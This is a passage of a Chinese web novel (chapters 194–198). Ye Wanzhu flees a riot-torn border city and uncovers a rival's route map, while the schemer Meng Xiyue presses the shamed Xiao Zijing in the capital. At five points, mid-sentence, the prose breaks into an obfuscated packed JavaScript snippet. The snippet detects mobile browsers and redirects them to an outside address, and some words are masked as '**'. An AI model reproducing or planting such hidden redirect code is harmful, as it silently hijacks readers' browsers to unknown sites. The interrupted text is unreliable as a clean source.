小纯等人脸色惨白,捂着嘴唇转头跑了出去。 夏铃忍着恶心朝叶晚竹走来,飞快地把城中和**的情况说了一遍。 “城门外面那些应该就是安王世子派来的援兵,万源的守城将军以为这**是他们弄出来的,正带人要追杀他们呢!” 说到这儿,夏铃不由得又变得兴高采烈起来,满院的血水似乎也影响不了她什么了。 谢尔手里只有四个**,只够把城门炸开一角,可如此一来,他们势必要遭到守城军的追杀。 但正好有这么一支烦人的商队在城外,又惹恼了曾将军,一切便都顺理成章地发生了。 “城门已经开了?”叶晚竹循声又朝着大街的方向看了过去。 “虽然没完全开,但我们一路引导,已经有不少人开始往那边去了。”谢尔站在夏铃身后做着补充。 奴隶们刚刚开始**的时候,城里的百姓看惯了这样的情况,相对还是比较淡定的。 可随着事态升级,连县衙都被烧了,官府那边却还是没有动静,任由这些奴隶发疯,这就让万源的普通老百姓开始不安了。 难道这回这些奴隶真要搞个大的? 再加上这接二连三的**,更是搅得人们越发惶恐不安。 在这样的情况之下,暂时离开才是个好选择,谢尔等人又吆喝了几声,城中百姓收拾细软跑路的动作也变得越来越快。 谢逸这时候皱起了眉头。 “闹成这样,官府那边为什么没有动静?” 这似乎有些不对劲。 从事发到现在,少说也已经过去了一个时辰,就算这万源城里的所有官员都是酒囊饭袋,火都烧到自己头上了,他们怎么也该拿出点解决的办法才对。 怎么能如此放任城中生乱? “那个……我可能知道为什么。” 一道弱弱的声音忽然从下方传来,几人一低头,和依旧腿软到站都站不起来的邵威对上了视线。 他举着手,神情期待,活像是个等着夫子提问的学生。 叶夫子很不客气地伸手把他揪了起来,“有话就快点说!” 这都什么时候了,还卖关子! 邵威踉踉跄跄地站直身子,又深吸一口气。 “万源的城守身边最受信任的随从,是安王世子的人。” 顿了顿,他又老实补充,“其他官老爷们身边的随从也是。、” 叶晚竹忍不住想起了自己离开京城之前的情况,除了实在安插不进去的地方,孟希越也是几乎把他的人手遍布在了京中各大府邸之中。 这么喜欢偷偷摸摸地搜集消息? “和阴沟里的老鼠似的,到处打洞!”夏铃皱起鼻子,冷嗤着翻了个白眼。 居心不良! “你的意思是说,是这些随从控制了万源的官员,不让他们做出反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15768943|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”隐风皱着眉头,“为什么?” 话音刚落,他便在邵威意有所指,小心翼翼的眼神里反应了过来。 因为他们正在城中**啊! “本王妃带着九千岁的手下在南疆作乱,无论是什么原因,传出去,都足以让两国震怒了。” 叶晚竹抱起双臂,语气冷得让人不敢靠近。 “南疆刚刚归顺,就闹出这样的事情,除非圣上想让民心尽失,否则,怎么都不能再保我。” 还有谢无咎。 此事一出,他们两个恐怕得立刻原地自尽,才不至于被扒皮抽筋! 好阴险的打算! “城门已经开了,县衙那边的情况应该能得到不少缓解,主子,咱们现在过去看看,说不定还来得及!” 隐川攥着拳头,神情阴沉,眼里满是被算计的憋屈。 这安王世子的心思,真是毒辣到让人琢磨不透。 思忖片刻,叶晚竹却摇了摇头。 “城里到现在都没有任何消息传出来,依我看,衙门,甚至是整个万源的官员,这会儿说不定都没了。” 否则的话,怎么会放着这么大的混乱不管? “咱们现在过去也是徒劳,说不定,还能碰上早就埋伏在那儿的安王手下呢。” 淡淡地笑了一声,叶晚竹又朝着邵威看了过去。 “你说你有孟希越往南疆官员身边安插眼线的证据,应该还藏得挺好的吧?赶紧拿出来。” 邵威愣愣地点了点头,看眼神,却压根就不知道叶晚竹到底要干什么。 夏铃等人也露出一脸茫然。 叶晚竹又笑了笑,神情变得促狭起来。 “咱们在万源城里,除了被人看见过,也没留下多少证据;孟希越就不一样了,不光安插眼线,甚至还开了这么大的一家奴隶市场,专门为了做这件事,这么比起来,怎么看都是孟希越更想对南疆不利吧?” “反过来也是一样的,大梁的将军往南疆买卖奴隶,也足够让人戳脊梁骨了。” “咱们这就离开,万源城为什么会变成这样,就让孟希越自己想办法圆吧!” 第一百九十四章 出事了! 此时的万源县衙之中已经是群情激奋,奴隶们的愤怒和委屈经过刻意挑拨,已经发酵成了一种根本无法控制的地步。 虽然因为刚才城门方向传来的**而离开了一批,但留下来参与混战的奴隶数量依然非常可观。 火光冲天,烟尘四起,所有看起来和万源官场有关的人都不能幸免,被拉到奴隶群中,脱光了衣裳殴打谩骂,再丢进有着同样遭遇的人群之中。 施暴者和受难者在短短几个时辰里就彻底颠倒了过来,现在却也没人顾得上这些了。 离混乱现场稍微远一点的地方,几个奴隶模样的人正避开人群,悄悄地交头接耳着。 “还没动静?” “没有,没发现景平王妃往这边来了。” 这些人都说着地道的大梁话,和癫狂发泄着的人群不同,几双眼睛转个不停,显得十分警醒。 “闹出这么大的动静也不见过来看看,他们不会是趁乱跑了吧?”其中一人忽然惊道。 几人之中明显是头目模样的那个人摇了摇头。 “刚才那**是东门来的,从东门只能回南郡去,景平王妃不会去找死,要走,他们也是走西门和北——”门! “不好啦!不好啦!北门失守!” 一句话还没说完,伴随着一阵急促的脚步声,一个小兵模样的人连滚带爬地跑了进来,嘴里一边大声嚷嚷着。 这小兵的话只说了一句,便被眼前看到的可怕景象惊呆了! 这是怎么回事? 县衙里怎么真的乱起来了? 县令和其他大人们呢? 躲在角落里的那几个假扮的奴隶同样也惊呆了。 外面的人呢? 怎么没拦住这小兵? 怎么让他就这么进来了? “快,快跑!” 就在这时,正被围在奴隶们中间殴打着的人群中响起了一声大喊。 “县令被他们杀了!快叫守城军的人过来!出事了!” 县衙里的官兵不算太多,可也不应该被这些奴隶打得落花流水,连一点儿消息都送不出去。 肯定是出事了! 人群中还有几个尚且活着的万源官员,纷纷一迭声地喊了起来。 那小兵脚下一个踉跄,转过头疯了一样地往城门方向又狂奔而去! 城门只是失守,这里,可是出了人命啊! “抓住他!”那几个假奴隶见状也着急起来,一跃而起追了过去! —— 万源城中发生的这些情况都与叶晚竹无关了,故技重施将北城门也炸开后,一行人头也不回地上了官道狂奔而去。 一直跑到夕阳西下,他们才在一个不起眼的小镇里暂时停下来落脚。 随便找了家客栈住下,叶晚竹便让人把邵威叫了过来。 “你对南疆其他地方熟悉不熟悉?” 昏暗灯光的映照下,邵威的脸色还是一片惨白,就连嘴唇都毫无血色。 他骑马的水平很差,跟不上这些人的速度,一路都是被隐川用绳子绑在背上带过来的,这会儿还在晕眩当中。 听见叶晚竹的话,邵威努力地集中着精神,“还,还可以吧。” 从前还在做正经生意的时候,他也是要带着随从到处跑的。 叶晚竹闻言又压低了几分声音。 “那你知不知道,有一个地方靠近河流,能在一夜之间,坐船在南疆和大梁之间往来?” 吴泽虽然亲身去过那地方,却不知道叫什么,叶晚竹只能求助于邵威这个本地人。 邵威闻言倒是苦了脸。 “不瞒您说,这样的地方,多着呢!” 大梁和南疆虽然是邻国,但只有南郡和万源一带是土地接壤,双方大部分的疆域都被一条叫年江的大河隔断着。 年江又宽又深,再加上部分地带水流湍急,是天然的隔离区域。 饶是如此,在大梁和南疆的关系还不错的时候,江上也有撑船过河的买卖在做。 如今就更别提了,在双方都认为自己是战胜的那一方,并且对方已经俯首称臣的条件下,年江上的渡船生意做的是红红火火,热闹非凡。 “要不……您再想想还有什么特别的地方?” 将年江的情况简要说明了一下,邵威讪讪地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777257|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着看向叶晚竹。 叶晚竹思索片刻:“能到闵镇。” 邵威的表情有那么一瞬间非常难以控制。 “……闵镇是?”他嘴角抽抽着问道。 “大梁一个名不见经传的地方。” 要不是邵威打不过这位景平王妃,更打不过她手下的这么多人,他现在就想跳起来和叶晚竹拼命! 都说是名不见经传的地方了,他怎么会知道! 深吸了一口气,邵威硬是挤出一个比哭还难看的笑容。 “王妃……”他的声音哆嗦着,“要不,要不您给小的画个图?” 就这么大眼瞪小眼地,他能知道这个闵镇到底是什么地方吗! 邵威话音刚落,只见隐风面无表情地伸手拿过包袱,三两下打开,取出了一个细长的盒子。 他当着邵威的面儿从里面拿出了一副属于南疆的地图。 “邵老板,这东西你应该不会不认得吧?”叶晚竹站起身来,不轻不重地在地图上敲了两下。 邵威看着那地图的眼神先是茫然,而后就变得有些微妙了。 这地图的确很眼熟,是他搁在房间里的那幅。 怎么会跑到景平王妃手里去了? 等等—— 叶晚竹就这么静静地站着,看着邵威的表情变幻个不停。 在万源城中的时候,隐川到邵府后院去安放**,无意间看到了这幅地图。 邵威毕竟是要走南闯北的商人,家中备着地图并没有什么值得好奇的,可问题就在于,这副地图上多了一些标记。 “王,王妃!这不是我的,这是安王世子送来的地图啊!” 就在这时,邵威终于反应过来了,吱呀一声推开椅子站了起来! “安王世子让我按照地图上的路线去送奴隶,一点儿都不能错!” 这也是个奇怪的要求,邵威不懂,但毕竟也并不绕路,于是就跟着照做了。 难道是有什么问题? 他越发感到背上冷汗涔涔。 叶晚竹的目光依旧落在那地图上。 “这是他什么时候让你办的事?” 第一百九十五章 大军压境 孟希越的胃口很大,这张地图上的路线从万源蔓延出去,几乎能波及绝大部分南疆的城市,并且最终直抵国都南安。 地图上的线条密密麻麻,乍一看令人眼晕,却又特意将每一条都标注了出发离开的顺序。 如此用心,孟希越显然是在做一件大事。 不过,叶晚竹这会儿没心情推测他打算在南疆做什么,她正盯着其中的一条路线。 那条路线并不靠近年江,中途却有一程忽然拐了一个弯,沿着江边走了一段路。 而顺着这条路线再往前走,地图上标示的一些东西,似乎能和吴泽的描述联系起来。 莫非,就是这条? 邵威这时候也整理好了思绪。 “差不多两个月前吧,”他看了一眼叶晚竹正盯着的那个地方,犹豫片刻又道,“这个地方,我还记得,安王世子特意提醒了我很多次,让我一定要在那一天,那一个时辰赶到地方。” 这么严格? 叶晚竹看着那个叫云海泊的地方挑了挑眉。 “你去这里,也是为了送奴隶?” “正是。” 邵威点了点头,眼神又变得迷茫,“我当时按照安王世子定下的时间,到了那边的城守府,送去奴隶便离开了,什么事情都没有发生……” 因为太正常了,所以邵威渐渐地也就把孟希越那刻意的要求忘在了脑后;也是因为一切发生得太正常了,邵威如今想来,越发感觉孟希越的要求变得诡异了起来。 他咽了咽口水,有些畏惧地朝着叶晚竹看了过去。 “王妃,小的说的都是真的,您千万要相信我啊!” 叶晚竹的手依旧轻轻地在地图上摩挲着。 事到如今,邵威没必要为了这么一幅地图,一件已经完成的事情欺骗她。 那也就是说,她无意中又发现了孟希越的什么秘密。 手一顿,她的指尖最终点在云海泊这三个字上。 “明天一早出发,我们到这儿去看看。” 邵威和吴泽先后都到过这附近,她倒是要看看,这个地方有什么特别之处。 在小镇平平安安地睡了一晚,第二天一早,一行人便再度启程出发了。 前往云海泊的路上,他们再次换上了商队的伪装,靠着这个,几次有惊无险地跟身穿重甲的南疆军队擦肩而过。 也是这样,他们又听到了一些万源如今的情况。 两座城门先后被炸,县衙被毁,几乎所有在任官员全都没能幸免于难,万源的情况一传到南疆的国都,便立刻引起了比**还激烈的反应! 南疆王立刻派出大批军队前往万源,又抽调了附近几座城池的兵马,将万源包围得水泄不通。 叶晚竹他们碰到的兵马便是由此而来。 幸好他们离开得及时,再加上邵威过去经常在南疆走动,也让官兵们对他们的怀疑降低了很多。 就这么在路上赶了四五天,一行人终于在一个傍晚抵达了这座叫云海泊的城镇。 这地方正和它的名字一样,坐落在群山之中,云山雾罩,只有一面背靠着滔滔的年江。 虽然地势有些险峻,但周遭的风景非常美,因而这座城镇的规模也是叶晚竹进入南疆以来看到的最大的一座。 城中人来人往,热闹非凡,时不时还有小贩挑着篮筐沿街叫卖,端的是一幅岁月静好的景象。 只不过,城门前正排着长长的队伍,等待着通过检查后才能入城。 因为出了万源那件事,南疆现在全境都陷入了一种高度紧张的氛围当中,叶晚竹他们一路也是被这么盘查过来的。 通关文牒上看不出任何端倪,一行人安安心心地排在队伍里。 叶晚竹带着面纱坐在车中,自从知道孟希越发了追捕她的消息,她便刻意隐匿了身形,免得一不小心就被盯上。 夏铃等人也是如此,眼下整支队伍看起来完全是由邵威在带队的。 混在人群之中,一行人不好说什么,纷纷沉默着,但前后左右排队的老百姓们却无所顾忌,吵吵闹闹地谈天说地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777258|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打发着排队的无聊。 叶晚竹听着听着,便很快又找到了和万源有关的消息。 毕竟最近一段时间,最热闹的就是这件事了。 “听说了吗,万源那边的事情都是大梁那个孟将军弄出来的,想把南郡夺回去还不够,连万源都想一口吞了!” “可不是吗,听说王上震怒,又往万源派了一万兵马,下令一定要把这件事查得清清楚楚呢!” “那姓孟的真不是个东西,竟然假意投靠咱们,要我说啊,王上当初就不该相信他,什么投诚,就该一刀砍了他的脑袋!” “……” 在南疆人心目中,几个月前的那场仗大获全胜,孟希越也向南疆投了诚,南疆王看在他的诚意上,才让孟希越去管理南郡,因而才有这些后话。 马车里,早在这些人开始讨论的时候,邵威就钻了进来,一句一句地把南疆百姓的话低声翻给叶晚竹听。 一路而来,这是他们消息的一半来源。 人多耳杂,叶晚竹只是一一记下,并不发表任何看法。 若南疆王是真的因为这件事怀疑起孟希越,继而一拍两散,那的确是好事一桩。 可经过了他们瞒天过海,连两国战局都能各写一份的事情,除非亲眼所见,否则,叶晚竹不会相信他们放出来的任何一个消息。 “……!” 就在这时,还在竖着耳朵听外面动静的邵威忽然猛地一震,一口冷气倒吸到一半,又连忙伸手捂住,以免发出太大的声音。 “怎么了?” 回过神来,叶晚竹用口型询问着他。 邵威依旧全神贯注在外面的交谈上,片刻后脸色惨白地转过头来,抓起放在桌上的纸笔就写。 叶晚竹连忙歪着脑袋看了过去,随后身子也是一震! “他们说,王上震怒,已经派出二十万大军北上,准备一举攻克大梁京城,让大梁人知道厉害!” “大军今日正好就在云海泊,转水路去往大梁,这会儿正在出发上船呢!” 第一百九十六章 萧子景的灵机一动 深夜,京城。 孟希越背着双手站在窗边,今夜有风无月,夏日将尽,夜晚便顿时凉爽了起来。 可孟希越的表情却没有一丝感到了舒适的愉悦。 不知不觉,他和谢无咎已经明枪暗箭地斗了又快一个月,却依旧没有分出个胜负来。 孟希越毕竟有五年的时间不在京城,更别说在他离开之前,谢无咎便已经在朝堂中崭露头角,如今更是早就将京中的大半掌握在了手中。 饶是孟希越使出浑身解数,连东厂都炸了,也还是没能让谢无咎受到多少实质性的损害,亦或是有什么退让。 京城和皇宫依旧被他牢牢捏在手里,不仅如此,经过这一个月的斗争,孟希越手上的砝码渐渐见了底。 就连他本人都不得不从安王府逃了出来,大隐隐于市地躲在这京城的民居之中。 这不是他应该置身的局面。 究竟是什么地方出了问题? 孟希越闭上双眼,静静地思索着。 “主子!南疆的消息到了!” 他刚要潜心思考,门外忽然传来一声禀报。 思绪被打断,孟希越本能地皱起眉头,又在听到南疆这两个字的时候压下了那点不快。 “进来。”他淡淡地合上窗户,往书桌边走去。 寻常人家的宅子没那么多讲究,书房和卧室都布置在一起,外面负责送信的小厮快走两步进到屋中,看到随意丢在床上的染了血的中衣,连忙心惊肉跳地低下头去。 他双手将密信呈上,孟希越权当没看见他的小动作,拆开信看了起来。 看着信中所写,南疆的二十万大军已经悄悄从山中过关,并且全无声息地拿下了西南方向一座重要的城池,孟希越紧锁着的眉头终于有了片刻的舒展。 那座城池是京城接收西南一带消息的最重要的来源,将它捏在手中,京中获取消息的速度便要大大降低了。 终于有了个好消息! 精神一震,孟希越先反手将密信烧掉,又笔走龙蛇写了一封回信,封好让小厮送往西南。 大军已至,接下来,有些事情就好办了。 “景平王爷睡下了没有?”他又招来另外一个小厮问道。 那小厮闻言一低头,嘴角好像都跟着抽了抽。 “还,还没有……” 看他这吞吞吐吐的样子,孟希越便已经知道了什么,叹了口气,脸色又暗下几分。 “罢了,他醒着正好,走,过去看看。” “是!” 孟希越如今落脚的地方就在安置萧子景的民宅隔壁,夜深人静不便出门,街上还有巡夜的兵士,他带着小厮,从墙头一跃而上,无声无息地来到了萧家院中。 萧子景的房间果然正亮着灯,隐隐有咒骂声和哭声从里面传来。 果然,又来了。 给了小厮一个眼神,让他上去叫门,孟希越神色阴晴不定地看着那屋中的两道影子。 有夏至这个最大的奸细在萧子景身边伺候,孟希越早就知道了他下体被废的消息。 即便是萧子景后来用的那么多药,也只是饮鸩止渴,能让他维持一时的正常罢了,过后还会更加损耗身体。 再加上他这幅破烂的躯壳,萧子景早就是个彻头彻尾的废人了。 自己的身体只有自己最清楚,萧子景这段时间却好像忽然得了失心疯,整晚整晚地把那阮姨娘关在屋里。 隔了几道墙,孟希越对这等事情也没兴趣打探,可每晚的哭声总能传到他耳中去。 “世子……您怎么,怎么这个时候来了?” 正想着,萧子景和那小厮说完话,匆匆走下石阶,朝着孟希越而来。 分明是深夜,屋里刚才又闹成那样,萧子景却衣衫完好,没有半点已经睡下的模样,就连头发都整整齐齐地束着。 只是表情有些难看。 孟希越收回眼神,“忽然有些要紧事,还请王爷行个方便。” “方,方便的,当然方便!” 萧子景眼皮猛跳,嘴上却不得不一迭声地答应着。 这个安王世子还真的来了! 自从二人开始往来,萧子景便越发确定,这位安王世子一定就是有什么特殊的龙阳之好,就对他这种武将有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777259|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣! 在王府和刚刚搬到这民居的时候还算好,孟希越毕竟有大事要忙,并不常常来和萧子景见面。 饶是如此,他那轻柔和缓的语气,饱含深意的双眼,也够让萧子景胆战心惊,噩梦连天的了! 更糟糕的便是现在,谢无咎公开通缉了孟希越,他不能再回安王府,竟然在自己旁边住了下来! 两间院子的墙形同虚设,孟希越想什么时候来找萧子景就什么时候来,经历了几次之后,萧子景全身上下都被巨大的不安感笼罩了。 这安王世子是什么意思? 不会是想霸王硬上弓吧? 那他该怎么办? 当面拒绝?那和送死有什么两样? 说不定,安王世子一个恼羞成怒,先霸王硬上弓,然后再砍了他的脑袋呢? 想了又想,萧子景只能想到一个办法,那就是让阮莹莹来陪着他! 他没有龙阳之好,也不会有那种要人命的想法,安王世子要是还想用他,还想要脸,那就离他远点! 许是这办法真的有点用处,孟希越晚上来访的次数明显少了,可整夜面对着阮莹莹,萧子景的心里又渐渐地难捱了起来。 只能看不能动,着实是一种莫大的折磨! 尤其是明知道自己不行的情况下! 心里依旧是痒的,萧子景把从前知道的歪门邪道的办法试了不少,可却没有一个能成功,这无疑也让他更加暴躁。 他怎么就不行呢? 一定是阮莹莹的问题! 要不是她,自己根本就不会落到今天这种境地! “王爷?” 直到孟希越的声音再次响起,带着催促之意,萧子景才回过神来,发现他竟然站着就不知道想到哪里去了! 他转过头,孟希越的笑容有些冷。 抬手给了自己一个耳光,萧子景挤出一个难看的笑容,左顾右盼,朝阮莹莹的房间指了指。 “世子,咱们去那边说话吧?” 孟希越却摇了摇头。 “还是王爷的房间方便些。” 萧子景:!! 第一百九十七章 王爷是什么意思? 这人果然有问题!! 心里的呐喊声足以把天灵盖都掀开,萧子景面上却还得竭尽全力维持出一副正常的样子,假笑着把孟希越往屋中迎了进去。 “世子,您稍等片刻,我,我收拾一下!” 两人已经走到门前,萧子景又忽然惊觉屋里还一片混乱,连忙又回身一把堵住了孟希越的脚步。 孟希越看着他比哭还难看的表情,不曾出声提醒,只淡淡地点点头停了下来。 “王爷请便。” 客客气气地说着话,孟希越顺势背过了身子,没有半点要往屋中窥探的意思。 这副模样若是放在任何一个人身上,萧子景都会夸赞对方一句知礼守节,可这会儿站在廊下的人是孟希越,他的想法就完全不是这么一回事了。 看吧,这安王世子肯定是对女人没兴趣! 连看都不想看一眼! 又咽了咽口水,萧子景转头走进屋中的动作十分跌跌撞撞的。 他快走两步,又沉下脸来看着还跪坐在地上的阮莹莹。 “赶紧滚!没用的东西!” 阮莹莹的衣裳也是完好的,只是脸上除了泪痕,左右两边还各有一个鲜艳的巴掌印。 一正一反,萧子景是怎么动手的都能被看得一清二楚。 被这样恶声恶气地驱赶着,阮莹莹也没表露出什么情绪,低头擦擦眼泪,用最快的速度转身朝屋外走去。 在阮莹莹看来,萧子景已经彻底疯了,暂时不能离开这里,便变着花样地折磨她。 对萧子景,她已经没有任何期望了。 快步走出房门,阮莹莹抬脚的时候忽然脚下一软,整个身子猛地朝地板栽了下去。 “阮姨娘小心。” 孟希越仿佛长了后眼一眼,抬手将阮莹莹扶住,又多动了动手,把她从屋里扶到了廊下。 “多谢世子。” 依然垂着眉眼,阮莹莹声音发颤,似乎是被刚才那一下吓得不轻。 孟希越已经退后两步,拉开两人之间的距离,又让自己的小厮上前。 “夜间天黑,路上难走,你去送阮姨娘回屋吧。” “是!姨娘请跟小的来!” 阮莹莹连忙又道了一声谢,这才从孟希越身边离开,跟着那小厮往几步之外自己的房间而去。 民居狭小,几步就能走到,阮莹莹回到房间关上门,先捂着心口狠狠地喘了几口大气,这才低下头,用虽然依旧不算好用,但已经不再疼痛的手指摸了摸藏在掌心的纸条。 这是安王世子趁刚刚塞给她的。 摸索着将油灯点亮,阮莹莹坐到桌边,动作很慢地把纸条展开来。 —— 一墙之隔的屋中,萧子景听着方才外面的动静,再看着孟希越的时候,眼神就更不对劲了。 他就说,好端端的,这安王世子怎么会关心阮莹莹? 原来是要把随从遣走! 如此一来,这屋里,不就只剩下他们两个人了吗? 好深的心机! “王爷?为何如此看着本世子?” 目送着随从护送阮莹莹离开,孟希越收回目光走向房间,第一眼先看见萧子景盯着他的古怪眼神。 畏惧,惊恐,还有些别的什么,从萧子景眼底一闪而过,快得让他捕捉不住。 这景平王爷又在想什么乱七八糟的东西? 孟希越压了压心头的嫌弃才开口发问。 “啊……没什么,世子坐吧!” 连忙回过神来,萧子景面上的笑容又变得讪讪。 “世子找我可是有什么要紧事?” 眼看着房门关上,屋中也安静下来,萧子景问话的时候心头也越来越不安。 他忍不住搓着手,浑身也跟着一起哆嗦着。 “王爷可是身体不适?要不要我找个大夫过来。” 孟希越皱着眉头,眼神在萧子景身上来回打量,又状若不经意地朝他身下的位置扫了扫。 这景平王莫不是一心不想承认自己已经废了的事实,强行努力,把自己玩出了什么毛病吧? 萧子景这会儿本就草木皆兵,孟希越的眼神更是被他尽数捕捉,再心惊胆战地一一放大。 这安王世子果然有那个意思!! “我,我好的很!世子有什么话就赶紧说吧!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781337|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点累了!” 心里着慌,萧子景的声音也忍不住跟着放大了不少。 孟希越忍着越发深重的嫌弃又笑了笑。 “是这样的,如今京中的一切还是被谢无咎把持在手里,只要一日找不到他的破绽,本世子的计划,就一日不好顺顺利利地开展。” “我常年不在京中,京城里的事情,还得是景平王更熟悉,劳烦王爷再想想,除了您之前在东厂外说过的那些话,谢无咎还做过什么丧尽天良的事情?” 心里有着盘算,孟希越看向萧子景的时候,眼神中就带上了催促。 萧子景却双眼木然,神情呆滞。 他刚刚一心都在私事上,这会儿还没反应过来,被孟希越盯着看了几息的功夫才猛地坐直了身子。 “这个,这个嘛……” 吞吞吐吐着,萧子景皱起眉头,又为难起来。 “九千岁的事情,我也就知道这么多了。” 经过那数十日对谢无咎的叫骂,萧子景已经把心中能骂的,想骂的话全都说了出去,也早就已经黔驴技穷了。 有关谢无咎的事情,他再也没有别的东西可以说。 “怎么会呢?” 孟希越闻言却讶异地挑起了一条眉毛,瞧着很是意外。 “景平王妃和谢无咎的关系那样好,又那样肆无忌惮地来往,王爷怎么会只知道这么一点东西?莫不是在糊弄本世子吧?” 说到最后一句,他忽然皱起眉,表情也变得不善起来。 “那是——” 看着孟希越这幅表情,萧子景不由得有些心虚,一句话下意识地脱口而出,又立刻止住。 他咬着嘴唇,恨不得扬手给自己一记耳光。 “是什么?” 孟希越一直盯着萧子景,自然不会漏掉任何一个细节。 “景平王,莫非你是觉得和本世子的合作不愉快了,想藏私?” 比起刚刚那句,孟希越这会儿的气势更足了。 萧子景感到自己背上的冷汗瞬间就全都冒了出来。 “不,我没有这个意思!” “那就原原本本地告诉我。” 第一百九十八章 各有算计 孟希越语气里的情绪变得平静下去,却让萧子景再也生不出要违抗的念头。 也罢,事已至此,他还有什么好怕的? 闭了闭眼,又深吸一口气,萧子景一巴掌猛地拍在桌子上! “事情是这样的!” “叶晚竹那个**,她其实不是和谢无咎那个阉人厮混在一起,和她暗度陈仓的,其实,其实是,是圣上!” 终于把这个藏在心底多时的秘密说了出来,萧子景呼哧呼哧地喘着粗气,后知后觉地感到了一阵畅快! 只不过,这话说出来之后,他就再也没有回头路可走了。 定了定神,萧子景也没打算回头。 给一个夺了他王妃的人当臣子? 他还不如选孟希越! 虽然这位好像对他本人的兴趣更大…… 想到这儿,萧子景的一腔豪情顿时像是被迎头浇上了一盆凉水,瞬间就全都熄灭了下去! 前有狼,后有虎! 他该如何是好? 等孟希越如愿以偿登上了那个宝座,他还会放过自己吗? 萧子景的心又慌了起来,怎么费尽心思绕了一圈,自己还是要无路可走? 孟希越看着他变幻不停的脸色,倒是不动声色地松了口气。 费了这么大的力气,折腾了几个月,终于让萧子景亲口把这件荒唐的事情说出来了。 说起来,在孟希越还没有正式和萧子景接触,只能通过夏至诱导他的时候,听到这位景平王爷竟然能想到如此离谱的猜测,孟希越自己私下笑了很久。 他绞尽脑汁想出来的借口,都不及萧子景这灵机一动! 既然是萧子景的神奇想法,那自然还是要他亲口说出来才好。 正了正脸色,孟希越眼中露出了难以置信的光芒。 “这,这怎么可能呢?王爷,您是不是误会了?” 萧子景的注意力又被短暂地牵引了回来,攥着拳头,眼神恨恨地盯着半空中的虚无。 “误会?不可能,要不是攀上了陛下,叶晚竹那个**凭什么这么嚣张?把我害成这样,到现在都不见人影!” 暂时抛开对孟希越的提防和警惕,萧子景掰着手指,一样一样地把自己的猜测说给他听。 这些想法,独自一人的时候,萧子景已经不知道思考过多少回了,渐渐也开始分不清真实和想象的区别。 “……总之,这一切肯定错不了!” 絮絮叨叨地说了足足一炷香的时间,萧子景才一锤定音。 他舔了舔发干的嘴唇,这才重新看向孟希越。 “世子,我把知道的全都告诉您了,您可一定要替我讨回这个公道啊!当今圣上他竟然暗夺臣妻,这简直就是骇人听闻!” 看着萧子景冒着精光的双眼,里面明明白白写着自己的打算,孟希越倒是轻笑了一声。 “这样的事情,的确骇人听闻,我看,王爷还是亲自出面,当众把这件事公开说明,让大家一起给王爷讨个公道,如何?” 这个景平王,想用几句话就免于自己去出头? 毕竟是问罪当朝圣上,和叫骂东厂相比,哪件事的风险更大一目了然。 孟希越慢慢地收起笑容。 “王爷以为如何?” 萧子景这会儿浑身上下都在发凉。 让他亲口把叶晚竹和昭德帝的私情公之于众? 不论最后结果究竟如何,他都别再想正大光明地做人了! 这也太丢脸了! 难道这也是安王世子的谋略,如此一来,就能更加顺利地对自己下手? 乱七八糟地想着,萧子景的面前忽然被推了一杯茶水过来。 “景平王。” 孟希越不知道什么时候已经站了起来,一只手牢牢地按在杯口。 他俯下身子看着萧子景,一阵不容拒绝的沉沉威压从身上散发出来。 “王爷,我们的时间不对,机会更少。” 